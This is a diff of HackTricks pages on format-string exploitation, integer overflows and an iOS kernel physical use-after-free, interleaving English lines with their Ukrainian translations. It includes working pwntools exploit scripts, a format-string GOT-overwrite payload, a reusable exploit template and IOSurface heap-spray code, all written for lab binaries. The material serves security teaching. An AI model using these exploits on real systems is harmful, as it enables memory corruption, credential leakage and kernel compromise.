- **LOB** is called to the 2 lower bytes of the address
- **HOB** викликається для 2 вищих байтів адреси
- **LOB** викликається для 2 нижчих байтів адреси
Then, because of how format string works you need to **write first the smallest** of \[HOB, LOB] and then the other one.
Потім, через те, як працює формат рядка, вам потрібно **спочатку записати найменший** з \[HOB, LOB\], а потім інший.
If HOB < LOB\
Якщо HOB < LOB\
`[address+2][address]%.[HOB-8]x%[offset]\$hn%.[LOB-HOB]x%[offset+1]`
If HOB > LOB\
Якщо HOB > LOB\
`[address+2][address]%.[LOB-8]x%[offset+1]\$hn%.[HOB-LOB]x%[offset]`
HOB LOB HOB_shellcode-8 NºParam_dir_HOB LOB_shell-HOB_shell NºParam_dir_LOB
```bash
python -c 'print "\x26\x97\x04\x08"+"\x24\x97\x04\x08"+ "%.49143x" + "%4$hn" + "%.15408x" + "%5$hn"'
```
### Шаблон Pwntools
### Pwntools Template
You can find a **template** to prepare a exploit for this kind of vulnerability in:
Ви можете знайти **шаблон** для підготовки експлойту для цього типу вразливості в:
{{#ref}}
format-strings-template.md
{{#endref}}
Or this basic example from [**here**](https://ir0nstone.gitbook.io/notes/types/stack/got-overwrite/exploiting-a-got-overwrite):
Або цей базовий приклад з [**тут**](https://ir0nstone.gitbook.io/notes/types/stack/got-overwrite/exploiting-a-got-overwrite):
```python
from pwn import *
@ -225,27 +196,20 @@ p.sendline('/bin/sh')
p.interactive()
```
## Форматні рядки до BOF
## Format Strings to BOF
Можливо зловживати діями запису вразливості форматного рядка, щоб **записувати в адреси стеку** та експлуатувати вразливість типу **переповнення буфера**.
It's possible to abuse the write actions of a format string vulnerability to **write in addresses of the stack** and exploit a **buffer overflow** type of vulnerability.
## Other Examples & References
## Інші приклади та посилання
- [https://ir0nstone.gitbook.io/notes/types/stack/format-string](https://ir0nstone.gitbook.io/notes/types/stack/format-string)
- [https://www.youtube.com/watch?v=t1LH9D5cuK4](https://www.youtube.com/watch?v=t1LH9D5cuK4)
- [https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak](https://www.ctfrecipes.com/pwn/stack-exploitation/format-string/data-leak)
- [https://guyinatuxedo.github.io/10-fmt_strings/pico18_echo/index.html](https://guyinatuxedo.github.io/10-fmt_strings/pico18_echo/index.html)
- 32 bit, no relro, no canary, nx, no pie, basic use of format strings to leak the flag from the stack (no need to alter the execution flow)
- 32 біт, без relro, без canary, nx, без pie, базове використання форматних рядків для витоку прапора зі стеку (немає потреби змінювати потік виконання)
- [https://guyinatuxedo.github.io/10-fmt_strings/backdoor17_bbpwn/index.html](https://guyinatuxedo.github.io/10-fmt_strings/backdoor17_bbpwn/index.html)
- 32 bit, relro, no canary, nx, no pie, format string to overwrite the address `fflush` with the win function (ret2win)
- 32 біт, relro, без canary, nx, без pie, форматний рядок для перезапису адреси `fflush` з функцією win (ret2win)
- [https://guyinatuxedo.github.io/10-fmt_strings/tw16_greeting/index.html](https://guyinatuxedo.github.io/10-fmt_strings/tw16_greeting/index.html)
- 32 bit, relro, no canary, nx, no pie, format string to write an address inside main in `.fini_array` (so the flow loops back 1 more time) and write the address to `system` in the GOT table pointing to `strlen`. When the flow goes back to main, `strlen` is executed with user input and pointing to `system`, it will execute the passed commands.
<figure><img src="../../images/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_fluent polish written and spoken required_).
{% embed url="https://www.stmcyber.com/careers" %}
- 32 біт, relro, без canary, nx, без pie, форматний рядок для запису адреси всередині main в `.fini_array` (щоб потік повертався ще раз) і запису адреси до `system` в таблиці GOT, що вказує на `strlen`. Коли потік повертається до main, `strlen` виконується з введенням користувача і вказує на `system`, він виконає передані команди.
{{#include ../../banners/hacktricks-training.md}}

View File

@ -1,32 +1,27 @@
# Format Strings - Arbitrary Read Example
# Форматні рядки - Приклад довільного читання
{{#include ../../banners/hacktricks-training.md}}
## Read Binary Start
### Code
## Читання бінарних даних початок
### Код
```c
#include <stdio.h>
int main(void) {
char buffer[30];
char buffer[30];
fgets(buffer, sizeof(buffer), stdin);
fgets(buffer, sizeof(buffer), stdin);
printf(buffer);
return 0;
printf(buffer);
return 0;
}
```
Compile it with:
Скомпілюйте це з:
```python
clang -o fs-read fs-read.c -Wno-format-security -no-pie
```
### Exploit
### Експлуатація
```python
from pwn import *
@ -38,16 +33,14 @@ payload += p64(0x00400000)
p.sendline(payload)
log.info(p.clean())
```
- The **offset is 11** because setting several As and **brute-forcing** with a loop offsets from 0 to 50 found that at offset 11 and with 5 extra chars (pipes `|` in our case), it's possible to control a full address.
- I used **`%11$p`** with padding until I so that the address was all 0x4141414141414141
- The **format string payload is BEFORE the address** because the **printf stops reading at a null byte**, so if we send the address and then the format string, the printf will never reach the format string as a null byte will be found before
- The address selected is 0x00400000 because it's where the binary starts (no PIE)
- **зсув 11** тому що встановлення кількох A та **брутфорс** з циклом з 0 до 50 виявило, що на зсуві 11 і з 5 додатковими символами (трубки `|` у нашому випадку) можливо контролювати повну адресу.
- Я використав **`%11$p`** з заповненням до того, щоб адреса була вся 0x4141414141414141
- **вантаж форматного рядка є ДО адреси** тому що **printf перестає читати на нульовому байті**, тому якщо ми відправимо адресу, а потім форматний рядок, printf ніколи не досягне форматного рядка, оскільки нульовий байт буде знайдений раніше
- Вибрана адреса 0x00400000 тому що це місце, де починається бінарник (без PIE)
<figure><img src="broken-reference" alt="" width="477"><figcaption></figcaption></figure>
## Read passwords
## Читати паролі
```c
#include <stdio.h>
#include <string.h>
@ -55,111 +48,103 @@ log.info(p.clean())
char bss_password[20] = "hardcodedPassBSS"; // Password in BSS
int main() {
char stack_password[20] = "secretStackPass"; // Password in stack
char input1[20], input2[20];
char stack_password[20] = "secretStackPass"; // Password in stack
char input1[20], input2[20];
printf("Enter first password: ");
scanf("%19s", input1);
printf("Enter first password: ");
scanf("%19s", input1);
printf("Enter second password: ");
scanf("%19s", input2);
printf("Enter second password: ");
scanf("%19s", input2);
// Vulnerable printf
printf(input1);
printf("\n");
// Vulnerable printf
printf(input1);
printf("\n");
// Check both passwords
if (strcmp(input1, stack_password) == 0 && strcmp(input2, bss_password) == 0) {
printf("Access Granted.\n");
} else {
printf("Access Denied.\n");
}
// Check both passwords
if (strcmp(input1, stack_password) == 0 && strcmp(input2, bss_password) == 0) {
printf("Access Granted.\n");
} else {
printf("Access Denied.\n");
}
return 0;
return 0;
}
```
Compile it with:
Скомпілюйте це з:
```bash
clang -o fs-read fs-read.c -Wno-format-security
```
### Читання зі стеку
### Read from stack
The **`stack_password`** will be stored in the stack because it's a local variable, so just abusing printf to show the content of the stack is enough. This is an exploit to BF the first 100 positions to leak the passwords form the stack:
**`stack_password`** буде зберігатися в стеку, оскільки це локальна змінна, тому просто зловживання printf для відображення вмісту стеку є достатнім. Це експлойт для BF перших 100 позицій, щоб витягти паролі зі стеку:
```python
from pwn import *
for i in range(100):
print(f"Try: {i}")
payload = f"%{i}$s\na".encode()
p = process("./fs-read")
p.sendline(payload)
output = p.clean()
print(output)
p.close()
print(f"Try: {i}")
payload = f"%{i}$s\na".encode()
p = process("./fs-read")
p.sendline(payload)
output = p.clean()
print(output)
p.close()
```
In the image it's possible to see that we can leak the password from the stack in the `10th` position:
На зображенні видно, що ми можемо витягти пароль зі стеку на `10-й` позиції:
<figure><img src="../../images/image (1234).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../images/image (1233).png" alt="" width="338"><figcaption></figcaption></figure>
### Read data
### Читання даних
Running the same exploit but with `%p` instead of `%s` it's possible to leak a heap address from the stack at `%25$p`. Moreover, comparing the leaked address (`0xaaaab7030894`) with the position of the password in memory in that process we can obtain the addresses difference:
Запускаючи той же експлойт, але з `%p` замість `%s`, можливо витягти адресу купи зі стеку на `%25$p`. Більше того, порівнюючи витягнуту адресу (`0xaaaab7030894`) з позицією пароля в пам'яті цього процесу, ми можемо отримати різницю адрес:
<figure><img src="broken-reference" alt="" width="563"><figcaption></figcaption></figure>
Now it's time to find how to control 1 address in the stack to access it from the second format string vulnerability:
Тепер час знайти, як контролювати 1 адресу в стеку, щоб отримати до неї доступ з другої вразливості форматного рядка:
```python
from pwn import *
def leak_heap(p):
p.sendlineafter(b"first password:", b"%5$p")
p.recvline()
response = p.recvline().strip()[2:] #Remove new line and "0x" prefix
return int(response, 16)
p.sendlineafter(b"first password:", b"%5$p")
p.recvline()
response = p.recvline().strip()[2:] #Remove new line and "0x" prefix
return int(response, 16)
for i in range(30):
p = process("./fs-read")
p = process("./fs-read")
heap_leak_addr = leak_heap(p)
print(f"Leaked heap: {hex(heap_leak_addr)}")
heap_leak_addr = leak_heap(p)
print(f"Leaked heap: {hex(heap_leak_addr)}")
password_addr = heap_leak_addr - 0x126a
password_addr = heap_leak_addr - 0x126a
print(f"Try: {i}")
payload = f"%{i}$p|||".encode()
payload += b"AAAAAAAA"
print(f"Try: {i}")
payload = f"%{i}$p|||".encode()
payload += b"AAAAAAAA"
p.sendline(payload)
output = p.clean()
print(output.decode("utf-8"))
p.close()
p.sendline(payload)
output = p.clean()
print(output.decode("utf-8"))
p.close()
```
And it's possible to see that in the **try 14** with the used passing we can control an address:
І можна побачити, що в **try 14** з використаним проходженням ми можемо контролювати адресу:
<figure><img src="broken-reference" alt="" width="563"><figcaption></figcaption></figure>
### Exploit
```python
from pwn import *
p = process("./fs-read")
def leak_heap(p):
# At offset 25 there is a heap leak
p.sendlineafter(b"first password:", b"%25$p")
p.recvline()
response = p.recvline().strip()[2:] #Remove new line and "0x" prefix
return int(response, 16)
# At offset 25 there is a heap leak
p.sendlineafter(b"first password:", b"%25$p")
p.recvline()
response = p.recvline().strip()[2:] #Remove new line and "0x" prefix
return int(response, 16)
heap_leak_addr = leak_heap(p)
print(f"Leaked heap: {hex(heap_leak_addr)}")
@ -178,7 +163,6 @@ output = p.clean()
print(output)
p.close()
```
<figure><img src="broken-reference" alt="" width="563"><figcaption></figcaption></figure>
{{#include ../../banners/hacktricks-training.md}}

View File

@ -1,7 +1,6 @@
# Format Strings Template
# Шаблон форматування рядків
{{#include ../../banners/hacktricks-training.md}}
```python
from pwn import *
from time import sleep
@ -36,23 +35,23 @@ print(" ====================== ")
def connect_binary():
global P, ELF_LOADED, ROP_LOADED
global P, ELF_LOADED, ROP_LOADED
if LOCAL:
P = process(LOCAL_BIN) # start the vuln binary
ELF_LOADED = ELF(LOCAL_BIN)# Extract data from binary
ROP_LOADED = ROP(ELF_LOADED)# Find ROP gadgets
if LOCAL:
P = process(LOCAL_BIN) # start the vuln binary
ELF_LOADED = ELF(LOCAL_BIN)# Extract data from binary
ROP_LOADED = ROP(ELF_LOADED)# Find ROP gadgets
elif REMOTETTCP:
P = remote('10.10.10.10',1338) # start the vuln binary
ELF_LOADED = ELF(LOCAL_BIN)# Extract data from binary
ROP_LOADED = ROP(ELF_LOADED)# Find ROP gadgets
elif REMOTETTCP:
P = remote('10.10.10.10',1338) # start the vuln binary
ELF_LOADED = ELF(LOCAL_BIN)# Extract data from binary
ROP_LOADED = ROP(ELF_LOADED)# Find ROP gadgets
elif REMOTESSH:
ssh_shell = ssh('bandit0', 'bandit.labs.overthewire.org', password='bandit0', port=2220)
P = ssh_shell.process(REMOTE_BIN) # start the vuln binary
ELF_LOADED = ELF(LOCAL_BIN)# Extract data from binary
ROP_LOADED = ROP(elf)# Find ROP gadgets
elif REMOTESSH:
ssh_shell = ssh('bandit0', 'bandit.labs.overthewire.org', password='bandit0', port=2220)
P = ssh_shell.process(REMOTE_BIN) # start the vuln binary
ELF_LOADED = ELF(LOCAL_BIN)# Extract data from binary
ROP_LOADED = ROP(elf)# Find ROP gadgets
#######################################
@ -60,39 +59,39 @@ def connect_binary():
#######################################
def send_payload(payload):
payload = PREFIX_PAYLOAD + payload + SUFFIX_PAYLOAD
log.info("payload = %s" % repr(payload))
if len(payload) > MAX_LENTGH: print("!!!!!!!!! ERROR, MAX LENGTH EXCEEDED")
P.sendline(payload)
sleep(0.5)
return P.recv()
payload = PREFIX_PAYLOAD + payload + SUFFIX_PAYLOAD
log.info("payload = %s" % repr(payload))
if len(payload) > MAX_LENTGH: print("!!!!!!!!! ERROR, MAX LENGTH EXCEEDED")
P.sendline(payload)
sleep(0.5)
return P.recv()
def get_formatstring_config():
global P
global P
for offset in range(1,1000):
connect_binary()
P.clean()
for offset in range(1,1000):
connect_binary()
P.clean()
payload = b"AAAA%" + bytes(str(offset), "utf-8") + b"$p"
recieved = send_payload(payload).strip()
payload = b"AAAA%" + bytes(str(offset), "utf-8") + b"$p"
recieved = send_payload(payload).strip()
if b"41" in recieved:
for padlen in range(0,4):
if b"41414141" in recieved:
connect_binary()
payload = b" "*padlen + b"BBBB%" + bytes(str(offset), "utf-8") + b"$p"
recieved = send_payload(payload).strip()
print(recieved)
if b"42424242" in recieved:
log.info(f"Found offset ({offset}) and padlen ({padlen})")
return offset, padlen
if b"41" in recieved:
for padlen in range(0,4):
if b"41414141" in recieved:
connect_binary()
payload = b" "*padlen + b"BBBB%" + bytes(str(offset), "utf-8") + b"$p"
recieved = send_payload(payload).strip()
print(recieved)
if b"42424242" in recieved:
log.info(f"Found offset ({offset}) and padlen ({padlen})")
return offset, padlen
else:
connect_binary()
payload = b" " + payload
recieved = send_payload(payload).strip()
else:
connect_binary()
payload = b" " + payload
recieved = send_payload(payload).strip()
# In order to exploit a format string you need to find a position where part of your payload
@ -125,10 +124,10 @@ log.info(f"Printf GOT address: {hex(P_GOT)}")
connect_binary()
if GDB and not REMOTETTCP and not REMOTESSH:
# attach gdb and continue
# You can set breakpoints, for example "break *main"
gdb.attach(P.pid, "b *main") #Add more breaks separeted by "\n"
sleep(5)
# attach gdb and continue
# You can set breakpoints, for example "break *main"
gdb.attach(P.pid, "b *main") #Add more breaks separeted by "\n"
sleep(5)
format_string = FmtStr(execute_fmt=send_payload, offset=offset, padlen=padlen, numbwritten=NNUM_ALREADY_WRITTEN_BYTES)
#format_string.write(P_FINI_ARRAY, INIT_LOOP_ADDR)
@ -141,5 +140,4 @@ format_string.execute_writes()
P.interactive()
```
{{#include ../../banners/hacktricks-training.md}}

View File

@ -1,123 +1,115 @@
# Integer Overflow
# Цілочисельний переповнень
{{#include ../banners/hacktricks-training.md}}
## Basic Information
## Основна інформація
At the heart of an **integer overflow** is the limitation imposed by the **size** of data types in computer programming and the **interpretation** of the data.
В основі **цілочисельного переповнення** лежить обмеження, накладене на **розмір** типів даних у комп'ютерному програмуванні та **інтерпретацію** даних.
For example, an **8-bit unsigned integer** can represent values from **0 to 255**. If you attempt to store the value 256 in an 8-bit unsigned integer, it wraps around to 0 due to the limitation of its storage capacity. Similarly, for a **16-bit unsigned integer**, which can hold values from **0 to 65,535**, adding 1 to 65,535 will wrap the value back to 0.
Наприклад, **8-бітний беззнаковий ціле число** може представляти значення від **0 до 255**. Якщо ви спробуєте зберегти значення 256 в 8-бітному беззнаковому ціле числі, воно обернеться назад до 0 через обмеження його ємності. Аналогічно, для **16-бітного беззнакового цілого числа**, яке може містити значення від **0 до 65,535**, додавання 1 до 65,535 поверне значення назад до 0.
Moreover, an **8-bit signed integer** can represent values from **-128 to 127**. This is because one bit is used to represent the sign (positive or negative), leaving 7 bits to represent the magnitude. The most negative number is represented as **-128** (binary `10000000`), and the most positive number is **127** (binary `01111111`).
Більше того, **8-бітне знакове ціле число** може представляти значення від **-128 до 127**. Це пов'язано з тим, що один біт використовується для представлення знака (позитивний або негативний), залишаючи 7 біт для представлення величини. Найбільш негативне число представляється як **-128** (бінарне `10000000`), а найбільш позитивне число — **127** (бінарне `01111111`).
### Max values
### Максимальні значення
For potential **web vulnerabilities** it's very interesting to know the maximum supported values:
Для потенційних **веб-уразливостей** дуже цікаво знати максимальні підтримувані значення:
{{#tabs}}
{{#tab name="Rust"}}
```rust
fn main() {
let mut quantity = 2147483647;
let mut quantity = 2147483647;
let (mul_result, _) = i32::overflowing_mul(32767, quantity);
let (add_result, _) = i32::overflowing_add(1, quantity);
let (mul_result, _) = i32::overflowing_mul(32767, quantity);
let (add_result, _) = i32::overflowing_add(1, quantity);
println!("{}", mul_result);
println!("{}", add_result);
println!("{}", mul_result);
println!("{}", add_result);
}
```
{{#endtab}}
{{#tab name="C"}}
```c
#include <stdio.h>
#include <limits.h>
int main() {
int a = INT_MAX;
int b = 0;
int c = 0;
int a = INT_MAX;
int b = 0;
int c = 0;
b = a * 100;
c = a + 1;
b = a * 100;
c = a + 1;
printf("%d\n", INT_MAX);
printf("%d\n", b);
printf("%d\n", c);
return 0;
printf("%d\n", INT_MAX);
printf("%d\n", b);
printf("%d\n", c);
return 0;
}
```
{{#endtab}}
{{#endtabs}}
## Examples
## Приклади
### Pure overflow
The printed result will be 0 as we overflowed the char:
### Чистий переповнень
Надрукований результат буде 0, оскільки ми переповнили char:
```c
#include <stdio.h>
int main() {
unsigned char max = 255; // 8-bit unsigned integer
unsigned char result = max + 1;
printf("Result: %d\n", result); // Expected to overflow
return 0;
unsigned char max = 255; // 8-bit unsigned integer
unsigned char result = max + 1;
printf("Result: %d\n", result); // Expected to overflow
return 0;
}
```
### Перетворення з підписаного в беззнаковий
### Signed to Unsigned Conversion
Consider a situation where a signed integer is read from user input and then used in a context that treats it as an unsigned integer, without proper validation:
Розгляньте ситуацію, коли підписане ціле число зчитується з введення користувача, а потім використовується в контексті, який трактує його як беззнакове ціле число, без належної валідації:
```c
#include <stdio.h>
int main() {
int userInput; // Signed integer
printf("Enter a number: ");
scanf("%d", &userInput);
int userInput; // Signed integer
printf("Enter a number: ");
scanf("%d", &userInput);
// Treating the signed input as unsigned without validation
unsigned int processedInput = (unsigned int)userInput;
// Treating the signed input as unsigned without validation
unsigned int processedInput = (unsigned int)userInput;
// A condition that might not work as intended if userInput is negative
if (processedInput > 1000) {
printf("Processed Input is large: %u\n", processedInput);
} else {
printf("Processed Input is within range: %u\n", processedInput);
}
// A condition that might not work as intended if userInput is negative
if (processedInput > 1000) {
printf("Processed Input is large: %u\n", processedInput);
} else {
printf("Processed Input is within range: %u\n", processedInput);
}
return 0;
return 0;
}
```
У цьому прикладі, якщо користувач вводить від'ємне число, воно буде інтерпретовано як велике беззнакове ціле через спосіб інтерпретації двійкових значень, що може призвести до несподіваної поведінки.
In this example, if a user inputs a negative number, it will be interpreted as a large unsigned integer due to the way binary values are interpreted, potentially leading to unexpected behavior.
### Other Examples
### Інші приклади
- [https://guyinatuxedo.github.io/35-integer_exploitation/int_overflow_post/index.html](https://guyinatuxedo.github.io/35-integer_exploitation/int_overflow_post/index.html)
- Only 1B is used to store the size of the password so it's possible to overflow it and make it think it's length of 4 while it actually is 260 to bypass the length check protection
- Для зберігання розміру пароля використовується лише 1B, тому можливо переповнити його і змусити думати, що його довжина становить 4, тоді як насправді вона становить 260, щоб обійти захист перевірки довжини
- [https://guyinatuxedo.github.io/35-integer_exploitation/puzzle/index.html](https://guyinatuxedo.github.io/35-integer_exploitation/puzzle/index.html)
- Given a couple of numbers find out using z3 a new number that multiplied by the first one will give the second one:&#x20;
- Визначте кілька чисел, використовуючи z3, нове число, яке, помножене на перше, дасть друге:&#x20;
```
(((argv[1] * 0x1064deadbeef4601) & 0xffffffffffffffff) == 0xD1038D2E07B42569)
```
```
(((argv[1] * 0x1064deadbeef4601) & 0xffffffffffffffff) == 0xD1038D2E07B42569)
```
- [https://8ksec.io/arm64-reversing-and-exploitation-part-8-exploiting-an-integer-overflow-vulnerability/](https://8ksec.io/arm64-reversing-and-exploitation-part-8-exploiting-an-integer-overflow-vulnerability/)
- Only 1B is used to store the size of the password so it's possible to overflow it and make it think it's length of 4 while it actually is 260 to bypass the length check protection and overwrite in the stack the next local variable and bypass both protections
- Для зберігання розміру пароля використовується лише 1B, тому можливо переповнити його і змусити думати, що його довжина становить 4, тоді як насправді вона становить 260, щоб обійти захист перевірки довжини та перезаписати в стеку наступну локальну змінну і обійти обидва захисти
## ARM64
This **doesn't change in ARM64** as you can see in [**this blog post**](https://8ksec.io/arm64-reversing-and-exploitation-part-8-exploiting-an-integer-overflow-vulnerability/).
Це **не змінюється в ARM64**, як ви можете побачити в [**цьому блозі**](https://8ksec.io/arm64-reversing-and-exploitation-part-8-exploiting-an-integer-overflow-vulnerability/).
{{#include ../banners/hacktricks-training.md}}

View File

@ -1,212 +1,203 @@
# iOS Exploiting
## Physical use-after-free
## Фізичне використання після звільнення
This is a summary from the post from [https://alfiecg.uk/2024/09/24/Kernel-exploit.html](https://alfiecg.uk/2024/09/24/Kernel-exploit.html) moreover further information about exploit using this technique can be found in [https://github.com/felix-pb/kfd](https://github.com/felix-pb/kfd)
Це резюме з посту з [https://alfiecg.uk/2024/09/24/Kernel-exploit.html](https://alfiecg.uk/2024/09/24/Kernel-exploit.html), крім того, додаткову інформацію про експлуатацію з використанням цієї техніки можна знайти в [https://github.com/felix-pb/kfd](https://github.com/felix-pb/kfd)
### Memory management in XNU <a href="#memory-management-in-xnu" id="memory-management-in-xnu"></a>
### Управління пам'яттю в XNU <a href="#memory-management-in-xnu" id="memory-management-in-xnu"></a>
The **virtual memory address space** for user processes on iOS spans from **0x0 to 0x8000000000**. However, these addresses dont directly map to physical memory. Instead, the **kernel** uses **page tables** to translate virtual addresses into actual **physical addresses**.
**Віртуальний адресний простір пам'яті** для користувацьких процесів на iOS охоплює діапазон від **0x0 до 0x8000000000**. Однак ці адреси не відображаються безпосередньо на фізичну пам'ять. Натомість **ядро** використовує **таблиці сторінок** для перетворення віртуальних адрес на фактичні **фізичні адреси**.
#### Levels of Page Tables in iOS
#### Рівні таблиць сторінок в iOS
Page tables are organized hierarchically in three levels:
Таблиці сторінок організовані ієрархічно на трьох рівнях:
1. **L1 Page Table (Level 1)**:
* Each entry here represents a large range of virtual memory.
* It covers **0x1000000000 bytes** (or **256 GB**) of virtual memory.
2. **L2 Page Table (Level 2)**:
* An entry here represents a smaller region of virtual memory, specifically **0x2000000 bytes** (32 MB).
* An L1 entry may point to an L2 table if it can't map the entire region itself.
3. **L3 Page Table (Level 3)**:
* This is the finest level, where each entry maps a single **4 KB** memory page.
* An L2 entry may point to an L3 table if more granular control is needed.
1. **L1 Таблиця сторінок (Рівень 1)**:
* Кожен запис тут представляє великий діапазон віртуальної пам'яті.
* Вона охоплює **0x1000000000 байт** (або **256 ГБ**) віртуальної пам'яті.
2. **L2 Таблиця сторінок (Рівень 2)**:
* Запис тут представляє меншу область віртуальної пам'яті, а саме **0x2000000 байт** (32 МБ).
* Запис L1 може вказувати на таблицю L2, якщо він не може відобразити весь регіон самостійно.
3. **L3 Таблиця сторінок (Рівень 3)**:
* Це найдрібніший рівень, де кожен запис відображає одну **4 КБ** сторінку пам'яті.
* Запис L2 може вказувати на таблицю L3, якщо потрібен більш детальний контроль.
#### Mapping Virtual to Physical Memory
#### Відображення віртуальної пам'яті на фізичну
* **Direct Mapping (Block Mapping)**:
* Some entries in a page table directly **map a range of virtual addresses** to a contiguous range of physical addresses (like a shortcut).
* **Pointer to Child Page Table**:
* If finer control is needed, an entry in one level (e.g., L1) can point to a **child page table** at the next level (e.g., L2).
* **Пряме відображення (Блокове відображення)**:
* Деякі записи в таблиці сторінок безпосередньо **відображають діапазон віртуальних адрес** на безперервний діапазон фізичних адрес (як ярлик).
* **Вказівник на дочірню таблицю сторінок**:
* Якщо потрібен більш детальний контроль, запис на одному рівні (наприклад, L1) може вказувати на **дочірню таблицю сторінок** на наступному рівні (наприклад, L2).
#### Example: Mapping a Virtual Address
#### Приклад: Відображення віртуальної адреси
Lets say you try to access the virtual address **0x1000000000**:
Припустимо, ви намагаєтеся отримати доступ до віртуальної адреси **0x1000000000**:
1. **L1 Table**:
* The kernel checks the L1 page table entry corresponding to this virtual address. If it has a **pointer to an L2 page table**, it goes to that L2 table.
2. **L2 Table**:
* The kernel checks the L2 page table for a more detailed mapping. If this entry points to an **L3 page table**, it proceeds there.
3. **L3 Table**:
* The kernel looks up the final L3 entry, which points to the **physical address** of the actual memory page.
1. **Таблиця L1**:
* Ядро перевіряє запис таблиці сторінок L1, що відповідає цій віртуальній адресі. Якщо в ньому є **вказівник на таблицю L2**, воно переходить до цієї таблиці L2.
2. **Таблиця L2**:
* Ядро перевіряє таблицю сторінок L2 для більш детального відображення. Якщо цей запис вказує на **таблицю L3**, воно продовжує туди.
3. **Таблиця L3**:
* Ядро шукає фінальний запис L3, який вказує на **фізичну адресу** фактичної сторінки пам'яті.
#### Example of Address Mapping
#### Приклад відображення адреси
If you write the physical address **0x800004000** into the first index of the L2 table, then:
Якщо ви запишете фізичну адресу **0x800004000** у перший індекс таблиці L2, тоді:
* Virtual addresses from **0x1000000000** to **0x1002000000** map to physical addresses from **0x800004000** to **0x802004000**.
* This is a **block mapping** at the L2 level.
* Віртуальні адреси від **0x1000000000** до **0x1002000000** відображаються на фізичні адреси від **0x800004000** до **0x802004000**.
* Це **блокове відображення** на рівні L2.
Alternatively, if the L2 entry points to an L3 table:
Альтернативно, якщо запис L2 вказує на таблицю L3:
* Each 4 KB page in the virtual address range **0x1000000000 -> 0x1002000000** would be mapped by individual entries in the L3 table.
* Кожна 4 КБ сторінка у віртуальному адресному діапазоні **0x1000000000 -> 0x1002000000** буде відображена окремими записами в таблиці L3.
### Physical use-after-free
### Фізичне використання після звільнення
A **physical use-after-free** (UAF) occurs when:
**Фізичне використання після звільнення** (UAF) відбувається, коли:
1. A process **allocates** some memory as **readable and writable**.
2. The **page tables** are updated to map this memory to a specific physical address that the process can access.
3. The process **deallocates** (frees) the memory.
4. However, due to a **bug**, the kernel **forgets to remove the mapping** from the page tables, even though it marks the corresponding physical memory as free.
5. The kernel can then **reallocate this "freed" physical memory** for other purposes, like **kernel data**.
6. Since the mapping wasnt removed, the process can still **read and write** to this physical memory.
1. Процес **виділяє** деяку пам'ять як **читабельну та записувану**.
2. **Таблиці сторінок** оновлюються, щоб відобразити цю пам'ять на конкретну фізичну адресу, до якої процес може отримати доступ.
3. Процес **звільняє** пам'ять.
4. Однак, через **помилку**, ядро **забуває видалити відображення** з таблиць сторінок, хоча воно позначає відповідну фізичну пам'ять як вільну.
5. Ядро може потім **перевиділити цю "звільнену" фізичну пам'ять** для інших цілей, таких як **дані ядра**.
6. Оскільки відображення не було видалено, процес все ще може **читати та записувати** в цю фізичну пам'ять.
This means the process can access **pages of kernel memory**, which could contain sensitive data or structures, potentially allowing an attacker to **manipulate kernel memory**.
Це означає, що процес може отримати доступ до **сторінок пам'яті ядра**, які можуть містити чутливі дані або структури, що потенційно дозволяє зловмиснику **маніпулювати пам'яттю ядра**.
### Exploitation Strategy: Heap Spray
### Стратегія експлуатації: Heap Spray
Since the attacker cant control which specific kernel pages will be allocated to freed memory, they use a technique called **heap spray**:
Оскільки зловмисник не може контролювати, які конкретні сторінки ядра будуть виділені для звільненої пам'яті, вони використовують техніку, звану **heap spray**:
1. The attacker **creates a large number of IOSurface objects** in kernel memory.
2. Each IOSurface object contains a **magic value** in one of its fields, making it easy to identify.
3. They **scan the freed pages** to see if any of these IOSurface objects landed on a freed page.
4. When they find an IOSurface object on a freed page, they can use it to **read and write kernel memory**.
1. Зловмисник **створює велику кількість об'єктів IOSurface** в пам'яті ядра.
2. Кожен об'єкт IOSurface містить **магічне значення** в одному з його полів, що полегшує його ідентифікацію.
3. Вони **сканують звільнені сторінки**, щоб перевірити, чи потрапив якийсь з цих об'єктів IOSurface на звільнену сторінку.
4. Коли вони знаходять об'єкт IOSurface на звільненій сторінці, вони можуть використовувати його для **читання та запису пам'яті ядра**.
More info about this in [https://github.com/felix-pb/kfd/tree/main/writeups](https://github.com/felix-pb/kfd/tree/main/writeups)
Більше інформації про це в [https://github.com/felix-pb/kfd/tree/main/writeups](https://github.com/felix-pb/kfd/tree/main/writeups)
### Step-by-Step Heap Spray Process
### Покроковий процес Heap Spray
1. **Spray IOSurface Objects**: The attacker creates many IOSurface objects with a special identifier ("magic value").
2. **Scan Freed Pages**: They check if any of the objects have been allocated on a freed page.
3. **Read/Write Kernel Memory**: By manipulating fields in the IOSurface object, they gain the ability to perform **arbitrary reads and writes** in kernel memory. This lets them:
* Use one field to **read any 32-bit value** in kernel memory.
* Use another field to **write 64-bit values**, achieving a stable **kernel read/write primitive**.
Generate IOSurface objects with the magic value IOSURFACE\_MAGIC to later search for:
1. **Розпилення об'єктів IOSurface**: Зловмисник створює багато об'єктів IOSurface з особливим ідентифікатором ("магічне значення").
2. **Сканування звільнених сторінок**: Вони перевіряють, чи були виділені якісь з об'єктів на звільненій сторінці.
3. **Читання/Запис пам'яті ядра**: Маніпулюючи полями в об'єкті IOSurface, вони отримують можливість виконувати **произвольні читання та записи** в пам'яті ядра. Це дозволяє їм:
* Використовувати одне поле для **читання будь-якого 32-бітного значення** в пам'яті ядра.
* Використовувати інше поле для **запису 64-бітних значень**, досягаючи стабільного **примітиву читання/запису ядра**.
Генерувати об'єкти IOSurface з магічним значенням IOSURFACE\_MAGIC для подальшого пошуку:
```c
void spray_iosurface(io_connect_t client, int nSurfaces, io_connect_t **clients, int *nClients) {
if (*nClients >= 0x4000) return;
for (int i = 0; i < nSurfaces; i++) {
fast_create_args_t args;
lock_result_t result;
size_t size = IOSurfaceLockResultSize;
args.address = 0;
args.alloc_size = *nClients + 1;
args.pixel_format = IOSURFACE_MAGIC;
IOConnectCallMethod(client, 6, 0, 0, &args, 0x20, 0, 0, &result, &size);
io_connect_t id = result.surface_id;
(*clients)[*nClients] = id;
*nClients = (*nClients) += 1;
}
if (*nClients >= 0x4000) return;
for (int i = 0; i < nSurfaces; i++) {
fast_create_args_t args;
lock_result_t result;
size_t size = IOSurfaceLockResultSize;
args.address = 0;
args.alloc_size = *nClients + 1;
args.pixel_format = IOSURFACE_MAGIC;
